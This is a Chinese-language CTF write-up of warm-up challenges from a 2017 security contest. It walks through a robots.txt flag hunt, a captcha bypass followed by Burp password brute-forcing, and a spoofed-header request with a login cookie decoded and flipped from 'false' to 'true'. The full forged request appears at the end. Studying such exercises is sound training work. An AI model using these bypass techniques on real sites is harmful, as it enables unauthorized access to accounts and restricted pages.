2017 首届全球华人网络安全技能大赛
热身题
检查了下robots.txt,
# robots.txt for Topsec CTF
#
User-agent: *
Disallow: /caches
Disallow: /phpcms/config.txt
Disallow: /install
Disallow: /phpsso_server
Disallow: /api.txt
Disallow: /Admin.aspx
Disallow: /te1t.txt
Disallow: /dede
Disallow: /m3mber
Disallow: /setup
Disallow: /uping
Disallow: /templets
Disallow: /default
Disallow: /index.html
Disallow: /js.txt
Disallow: /login.php
Disallow: /rob0t.php
Disallow: /admin.php
Disallow: /1ndex.txt
Disallow: /freelist
Disallow: /html
Disallow: /include
尝试直到发现/rob0t.php
———————–Congratulation!—————————
GCTF{ae609880185f1d75}
变态验证码
搜了一下几种绕验证码的方式,都试了一下,发现只要第一次输对了验证码,后面直接把验证码设为空串就行了,然后用Burp和他给的password.txt爆破一下就行了
Forbidden
查看网页源代码,发现注释
X-Forwarded-For:localhost
又发现提示了www.topsec.com
Host: www.topsec.com
Referer: http://www.baidu.com
模拟ajax请求头
X-Requested-With:XMLHttpRequest
User-Agent 添加
MSIE 4;
User-Agent 添加
.NET CLR 8;
修改下Accept-Language
Accept-Language: de-DE,de;
这里比较考脑洞了,看到response中有Set-Cookie : login=4e6a59324d545a6a4e7a4d324e513d3d
但是添加这个并没用。充分审题“没有登录”,又想不到什么办法,对login值进行decode
4e6a59324d545a6a4e7a4d324e513d3d ———ASCII2Hex—->
NjY2MTZjNzM2NQ== —————Base64——>
66616c7365 ————–ASCII2Hex->
false
false 改成 true,反过来encode,得“4e7a51334d6a63314e6a553d”,再提交即可得flag。
最终
GET / HTTP/1.1
Host: www.topsec.com
User-Agent: Mozilla/5.0 (X11; .NET CLR 8;MSIE 4; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-DE,de;q=0.5
Referer: http://www.baidu.com
X-Forwarded-For:localhost
X-Requested-With:XMLHttpRequest
Cookie: lang=english; 8760CE88=1;login=4e7a51334d6a63314e6a553d
Connection: close
Cache-Control: max-age=0
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com